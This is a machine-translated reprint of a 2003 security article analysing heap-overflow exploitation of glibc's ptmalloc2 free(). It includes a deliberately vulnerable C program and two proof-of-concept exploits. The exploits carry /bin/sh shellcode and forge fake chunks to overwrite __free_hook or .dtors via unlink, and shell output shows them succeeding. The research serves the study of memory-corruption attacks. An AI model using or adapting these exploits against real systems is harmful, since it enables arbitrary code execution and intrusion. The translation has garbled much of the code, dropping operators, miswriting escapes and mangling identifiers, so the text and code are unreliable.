[Analysis] Preliminary Study on Pile of PTMalloc2

xiaoxiao2021-03-06  19

Preliminary study on pile of ptmalloc2

Creation time: 2003-09-18

Article properties: reprint

Article Source: Backend [At] nsfocus.com

Article submission:

Watercloud (watercloud_at_xfocus.org)

Original article is attached to the UNIX Hacking version, discussing an article in the new version of Glibc heap management.

Discussion reference:

https://www.xfocus.net/bbs/index.php?act=st&f=19&t=28202

Preliminary study on pile of ptmalloc2

By backend at nsfocus.com

Date: 2003-09-16

★ directory

cause

the reason

analysis

breakthrough

Code

exception

end

reference

★ cause

Let's take a look at the vulnerability program of this article:

#include

#include

#include

Int foo (char * s1, char * s2)

{

STRCPY (S1, S2);

Printf ("INPUT:% S / R / N", S1);

Return 0;

}

Main (int Argc, char ** argv)

{

Char * p1;

Char * p2;

IF (Argc <2)

{

Printf ("USAGE:% S / N", Argv [0]);

exit (0);

}

IF (Strlen (Argv [1])> 100-1)

{

Printf ("ERROR: TOON LONG / N");

exit (0);

}

P1 = (char *) Malloc (20);

P2 = (char *) malloc (100);

MEMSET (P1, 0, 20);

MEMSET (P2, 0, 100);

STRCPY (P2, Argv [1]);

FOO (P1, P2);

Free (p1);

Free (p2);

Printf ("end./n");

exit (0);

}

$ GCC -O Heapvul Heapvul.c

For older version of the Glibc library, the code uses the Doug LEA Malloc implementation, so the attack is very simple.

According to Warning3, "a new HEAP area overflow technology analysis" published in early 2001

(

Http://magazine.nsfocus.net/index.php?act=magazine&do=view&mid=847), well

Easy to write the following attack code:

/ * Compile: GCC -O EX1 EX1.C * /

#include

#include

#define __free_hook 0x40163700

#define vulprog "./heapvul"

#define prev_inuse 0x1

#define is_mmapped 0x2

Char shellcode [] =

"/ XEB / X0A / X90 / X90 / X90 / X90 / X90 / X90 / X90"

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ X80 / XE8 / XDC / XFF / XFF / XFF / BIN / SH"; main (int Argc, char ** argv)

{

Unsigned int codeaddr = 0;

Char BUF [40], FAKE_CHUNK [16];

Char * ENV [2];

Unsigned int * PTR;

CodeAddr = 0xc0000000 - 4 - (Strlen (Vulprog) 1) - (Strlen (shellcode) 1);

ENV [0] = shellcode;

ENV [1] = NULL;

/ * Forgery a block structure * /

PTR = (unsigned int *) fake_chunk;

* PTR = 0x11223344 & ~ prev_inuse; / * Clear the prev_inuse bit * /

/ * Set the length to -4, this value should be a multiple of 4 * /

* PTR = 0xfffffffc;

* PTR = __free_hook - 12;

* PTR = CodeAddr;

Bzero (BUF, 40);

MEMSET (BUF, 'A', 16); / * Fill useless data * /

Memcpy (buf 16, fake_chunk, sizeof (fake_chunk));

EXECLE (Vulprog, Vulprog, BUF, NULL, ENV);

} / * End of main * /

[backend @ redhat72 nsfocus] $ uname -a

Linux nsfocus 2.4.7-10 # 1 thu Sep 6 17:27:27 Edt 2001 i686 unknown

GCC -O EX1 EX1.C

[backend @ redhat72 nsfocus] $ ./ex1

Input: aaaaaaaaaaaaaaaaad3 "? @? ?

SH-2.05 $

But the above code cannot be successful on the Red Hat 8 system:

[backend @ redhat8 nsfocus] $ GCC -O EX1 EX1.C

INPUT: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD3 "?  Addiction B? ?

Segmentation Fault (Core Dumped)

★ reason

This is because in the new version of the Glibc library memory management uses Wolfram Gloger's PTMalloc / PTMalloc2

Code. The PTMalloc2 code is transplanted from the DOUG LEA code, the main purpose is to increase the multithreading (especially

Is the SMP system) environment support, and further optimize memory allocation, algorithms for recycling.

Malloc () / free () overflows will be more in certain conditions due to the introduction of the Fastbins mechanism in PTMalloc2.

Many restrictions, although the author is ideal for overflow attacks. Since Fastbins is an array of one-way linked lists, each

Fastbin is a one-way linked list that will be placed in the corresponding Fastbin when the memory block recycling of the Fastbins condition.

In the list, in order

Memory application can be allocated more quickly, thereby improving performance. So use PTMalloc2's piles (finger

Free () call, the following: first, you must first bypass the Fastbins mechanism.

In addition, the implementation code of Free () is different from the old version, and the creation and utilization of FAKE_CHUNKS must also be

Change. Below you will start to explore the various inspection conditions of Free () in the source code.

note! ! ! Before continuing to read the following, make sure you have learned that the knowledge involved in Warning3's "a new HEAP area overflow technology analysis", especially the structure of the Chunk and Unlink, otherwise you may

I feel a little dizzy steering. ;)

★ analysis

To achieve the purpose of using the free () function call to attack, you need to meet the following 跫 ? Br />

1. Cover CHUNK that will be by Free (, for example, a pile overflow)

2, construct fake_chunk at the location covered with CHUNK

3. FAKE_CHUNK To make sure the unlink macro is running during the free () function call

4, the memory of the unlink macro operation will modify the process of the program

In the HeapVul.c program above, since the P1 points to Malloc (40) memory, there is free () recycling in this block.

Put it directly into a Fastbin Link due to the Fastbins condition:

/ *

IF Eligible, Place Chunk on A Fastbin So It Can Be Found

And used quickly in malloc.

* /

IF (SIZE) <= (unsigned long) / / meet Fastbins conditions

#if trim_fastbins

/ *

IF Trim_Fastbins Set, Don't Place Chunks

Bordering Top Into Fastbins

* /

&& (chunk_at_offset (p, size)! = AV-> TOP)

#ENDIF

) {

Set_fastchunks (av);

FB = & (av-> fastbins [fastbin_index (size)]); // This three lines of code will insert the memory block

Into the corresponding fastbin linked list

P-> fd = * fb;

* fb = p;

}

And because of the chunk structural head of P1, we can't control it, so Free (p1) can not be used.

So about free (p2)? ? ?

★ breakthrough

Since the memory block pointed to by the P1 is too small and there is no boundary check, we can cover (control) P2

The CHUNK structure head of the block, that is, the operation of Free (P2) will depend on the overlay, that is, the first,

2 conditions. So we only need to construct fake_chunk, it is entirely possible to meet the 3rd, 4 conditions, thus

Successful attacks.

Analysis _int_free () (free () real implementation code):

A) (see above,) make P2 do not meet Fastbins conditions

That is: fake_chunk-> size> 72 (AV-> max_fast default) <- a

B) Else if (! CHUNK_IS_MMAPPED (P)) {

Nextchunk = chunk_at_offset (p, size);

Nextsize = chunksize (Nextchunk);

Assert (NextSize> 0);

That is: FAKE_CHUNK-> SIZE & IS_MMAPPED == 0 (#define is_mmapped 0x2) <--- b1

(FAKE_CHUNK SIZE) -> Size> 0 <--- b2c) Next:

/ * Consolidate Backward * /

IF (! prev_inuse (p)) {

Prevsize = P-> prev_size;

SIZE = Prevsize;

P = chunk_at_offset (p, - ((long) prevsize);

Unlink (P, BCK, FWD); / * # 1 * /

}

IF (Nextchunk! = AV-> TOP) {

/ * Get and clear inuse bit * /

Next System = inuse_bit_at_offset (nextchunk, nextsize); <- @ _ @

/ * Consolidate Forward * /

IF (! Nextinuse) {

Unlink (Nextchunk, BCK, FWD); / * # 2 * /

SIZE = nextsize;

Else

CLEAR_INUSE_BIT_AT_OFFSET (NEXTCHUNK, 0);

/ *

Place the chunk in unsorted chunk list. Chunks Are

NOT Placed Into Regular Bins Until After They Have

BEEN GIVEN One Chance to Be Used in Malloc.

* /

BCK = UNSORTED_CHUNKS (AV);

FWD = BCK-> FD;

P-> BK = BCK; / * # 3 * /

P-> fd = fwd;

BCK-> fd = p;

FWD-> BK = P;

Set_head (p, size | prev_inuse);

Set_foot (p, size);

Check_free_chunk (av, p);

}

It can be seen that there are two places to call unlink. The first unlink (# 1) condition is that the previous memory block is not

For use, because prev_inuse is in the current memory block, it seems to be easier to control, but there is still a paragraph behind

Code (# 3), this code will once again modified the memory that has been rewritten by us (through unlink) (

Note: It is mainly the entrance to Shellcode here will be overwritten by BCK). So we turn the target to the second unlink

(# 2), it requires two conditions:

Nextchunk is not a TOP block (heap boundary), which is in line with this approach;

The next chunk block is not used, the next CHUNK block's prev_inuse bit is 0. <- c

At this point, if the above conditions can be met, the unlink will be called, thereby modifying our designated memory (note,

Address by the next chunk block of the FD / BK pointer! ).

What should I do will determine how to construct each fake_chunk step:

First, all FAKE_CHUNKs cannot contain zero characters, otherwise the string truncation problem will be encountered. At the same time, all the IS_MMAPped bits of Fake_Chunk are zero. (Satisfying the condition B1)

(FAKE_CHUNK1 is the first check when Free (p2), its function is to calculate _int_free ()

Fake_chunk2 location. )

First, fake_chunk1-> pre_size (psz1), there is no requirement for the time being (of course, it is best aligned).

Second, FAKE_CHUNK1-> SIZE (SZ1) is greater than 72 (Max_fast); at the same time, the prev_inuse position 1,

Let the unlink of # 1 are not triggered (so we don't have to consider PSZ2;)).

Third, FAKE_CHUNK1-> FD (FD1), there is no requirement for the time being (of course, it is best aligned).

Fourth, FAKE_CHUNK1-> BK (BK1), with FD1.

(FAKE_CHUNK2 role is critical, it will release yourself in Unlink "legal", that is, modify memory!)

Fifth, fake_chunk2-> pre_size (psz2), with PSZ1.

Sixth, fake_chunk2-> size (SZ2), require SZ> 0 and (FAKE_CHUNK2 SZ2) -> Size & Prev_size

To zero.

Seventh, FAKE_CHUNK2-> FD (FD2), pointing to the address to modify the memory - 12.

Eighth, fake_chunk2-> bk (bk2), pointing to Shellcode.

Next, we must further determine the value of each field:

For PSZ1 and PSZ2, the values ​​are: 0x11223344

For SZ1, due to the positioning of FAKE_CHUNK2 depends on SZ1,

If you pick up, it will be great (because each byte cannot be zero), you can take appropriate value to fake_chunk1 sz1

Located in the environment variable of the stack, then Fake_Chunk2 outputs through the environment variable. Is there a disadvantage?

Easy to position, because it is not possible to accurately locate the FAKE_CHUNK1 address, can only be guess.

If you take a negative value? ? ? We can look back and look at the _int_free () code, you can surprise

It is actually allowed! ! ! Oh, this is good. Can we put fake_chunk2 in Fake_Chunk1

front! SZ1 value 0xffffffff0 (-16). (Satisfying conditions a)

For FD1 and BK1, this value is: 0x08080808

For SZ2, you can take any value, as long as (FAKE_CHUNK2 SZ2) -> Size & Prev_size is zero

Come (even when debugging at the time), it is actually. The code at @ _ @ is reading a memory operation, if

The memory page does not exist, causing an abnormality of the pages. So I decided to let Fake_Chunk2 SZ2 point to a space that inevitably presents the memory page table - the highest page of the user stack (ie 0xBffFFFFFFFFFFF), ie the value of SZ

(0xBffFFFF800 - BSS_ADDR). (Satisfying conditions B2 and condition C)

For FD2, since the memory address you can use, I choose a static determined .dtors section, fd

Take the value (DTORS_ADDR 4 - 12).

For BD2, output shellcode is one of the easiest way to determine an address with an environment variable.

Now, we can draw a schematic diagram of memory distribution before and after the forgery:

-> block 1 -> block 2

| | |

----------------------------------- ---------------------

| prev_size | size | 16bytes | prev_size2 | SIZE2 | Arbitrary Data

----------------------------------- ---------------------

----------------------------------- ---------------------

| prev_size | Size | PSZ2 | SZ2 | FD2 | BK2 | PSZ1 | SZ1 | FD1 | BK1 |

----------------------------------- ---------------------

| | |

-> fake_chunk2 -> fake_chunk1

★ overflow code

/ * Concept-of-proof expedition for free () @ Wolfram Gloger's PTMalloc2

*

* By backend at nsfocus.com

http://www.nsfocus.com)

* Date: 2003-09-15

*

* Compile: GCC -O EX2 EX2.C -LBFD

* /

#include

#include

#include

#include

#include

#define vulprog "./heapvul"

#define prev_inuse 0x1

#define is_mmapped 0x2

#define bfd_error (s) {bfd_perror (s); exit (-1);}

Unsigned int bss_addr, dtors_addr;

Void getBFDInfo ()

{

BFD * ABFD;

ASECTION * ASEC;

BFD_INIT ();

Abfd = bfd_openr (vulprog, null);

If (! abfd) bfd_error ("openr"); if (! bfd_check_format (abfd, bfd_object))

BFD_ERROR ("Object Format");

ASEC = BFD_GET_SECTION_BY_NAME (ABFD, ".BSS");

IF (! ASEC) BFD_ERROR (". Bss Section");

BSS_ADDR = (unsigned int) (ASEC-> VMA);

ASEC = BFD_GET_SECTION_BY_NAME (ABFD, ".dttors");

IF (! ASEC) BFD_ERROR (". Dtors Section");

DTORS_ADDR = (unsigned int) (ASEC-> VMA);

BFD_close (abfd);

}

Char shellcode [] =

"/ XEB / X0A / X90 / X90 / X90 / X90 / X90 / X90 / X90"

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Main (int Argc, char ** argv)

{

Unsigned int codeaddr = 0;

Char BUF [40], FAKE_CHUNKS [40];

Char * ENV [2];

Unsigned int * PTR;

CodeAddr = 0xc0000000 - 4 - (Strlen (Vulprog) 1) - (Strlen (shellcode) 1);

ENV [0] = shellcode;

ENV [1] = NULL;

GetBfdinfo ();

Bzero (fake_chunks, 40)

PTR = (unsigned int *) fake_chunks;

* PTR = 0x11223344; / * Garbage * /

* PTR = (0xBfffFf800 - BSS_ADDR) & ~ (is_mmapped | prev_inuse);

* PTR = DTORS_ADDR 4 - 12;

* PTR = CodeAddr;

* PTR = 0x11223344; / * Garbage * /

* PTR = -16 | prev_inuse & ~ is_mmapped;

/ * GARBAGE

* PTR = 0x08080808;

* PTR = 0x08080808;

* /

Bzero (BUF, 40);

Memcpy (buf, fake_chunks, sizeof (fake_chunks);

EXECLE (Vulprog, Vulprog, BUF, NULL, ENV);

} / * End of main * /

[backend @ redhat8 nsfocus] $ gcc -o ex2 ex2.c -lbfd

[backend @ redhat8 nsfocus] $ ./ex2

INPUT: D3 "` ǜ 焟 3 "? 

End.

SH-2.05B $ ★ exception

PTR = (unsigned int *) fake_chunks;

* PTR = 0x11223344;

* PTR = (0xBfffFf800 - BSS_ADDR) & ~ (is_mmapped | prev_inuse);

* PTR = DTORS_ADDR 4 - 12;

* PTR = CodeAddr;

* PTR = 0x11223344;

* PTR = -16 | prev_inuse & ~ is_mmapped;

There are several places that can lead to failure -

BBS_ADDR! ! !

DTORS_ADDR! ! !

CodeAddr! ! !

The first two values ​​are compiled post-compiled (read directly from the file header), and CodeAddr is fixed to the fixed system.

When these three address values ​​are present (ie, zero characters) after the calculation result, it will cause string to copy truncation problems! ! !

On my RH8 test machine, did not add MEMSET (P2, 0, 100):

BSS_ADDR at: 0x8049734

DTORS_ADDR AT 0x80496F8

FAKE_CHUNKS LEN: 24

Overflow success.

When adding MEMSET (P2, 0, 100):

BSS_ADDR at: 0x8049744

DTORS_ADDR AT 0x8049708

FAKE_CHUNKS LEN: 8

Overflow failed!

see it? The minimum byte of DTORS_ADDR is 08, DTORS_ADDR 4 - 12 = 0x8049700, resulting in

Fake_chunks's string length is only 8! ! !

Verification: Modify any unrelated instructions (for example, deleting Prinf (), increase printf ()). For example, in my test machine

Printf ("end./n");

Change to (or delete):

PRINTF ("end.");

Printf ("/ n");

After, recompile the results:

BSS_ADDR at: 0x8049754

DTORS_ADDR AT 0x8049718

FAKE_CHUNKS LEN: 24

INPUT: D3 "琡 ?  緿 3"? 

End.

SH-2.05B $

If you can't modify the source code? There are also many options, such as modifying GOT, modifying function pointers, modifying

EBP, modify the function returns the address, and so on. Of course, the difficulty may not be the same.

★ Conclusion

The above is briefly introduced how to use the free () call to use the province with a pile over in the new version of GLIBC. Can see due to

The invocation of Malloc / Free may be slightly different depending on the Fastbins mechanism. E.g,

Free () a Large Chunk is different from a small chunk, even small chunk, and

Whether it belongs to Fastbins, and so on. And for Exploit enthusiasts, design constructive fake_chunks is also very

pleasure. How to put the stack in the stack? ; How to falsify the CHUNK structure? Which addresses are covered? How to debug? ............ These questions are left to the readers of interest.

On the occasion of this Dongdong, I found that BKBLL also published a copy of the same problem in early September 2003.

Alternative Utilization Method of A Small Pile (HEAP) overflow "

(

http://www.nsfocus.net/index.php?act=sec_doc&d =View&doc_id=867). May wish to

According to research, there may be new discovery.

★ References

[1] WARNING3, << A new HEAP area overflow technology analysis >>

Http://magazine.nsfocus.net/index.php?act=magazine&do=view&mid=847

[2] DOUG LEA, << a Memory Allocator >>

Http://gee.cs.oswego.edu/dl/html/malloc.html

[3] Wolfram Gloger, PTMalloc2 Source Code

http://www.malloc.de/malloc/ptmalloc.tar.gz

转载请注明原文地址:https://www.9cbs.com/read-40972.html

New Post(0)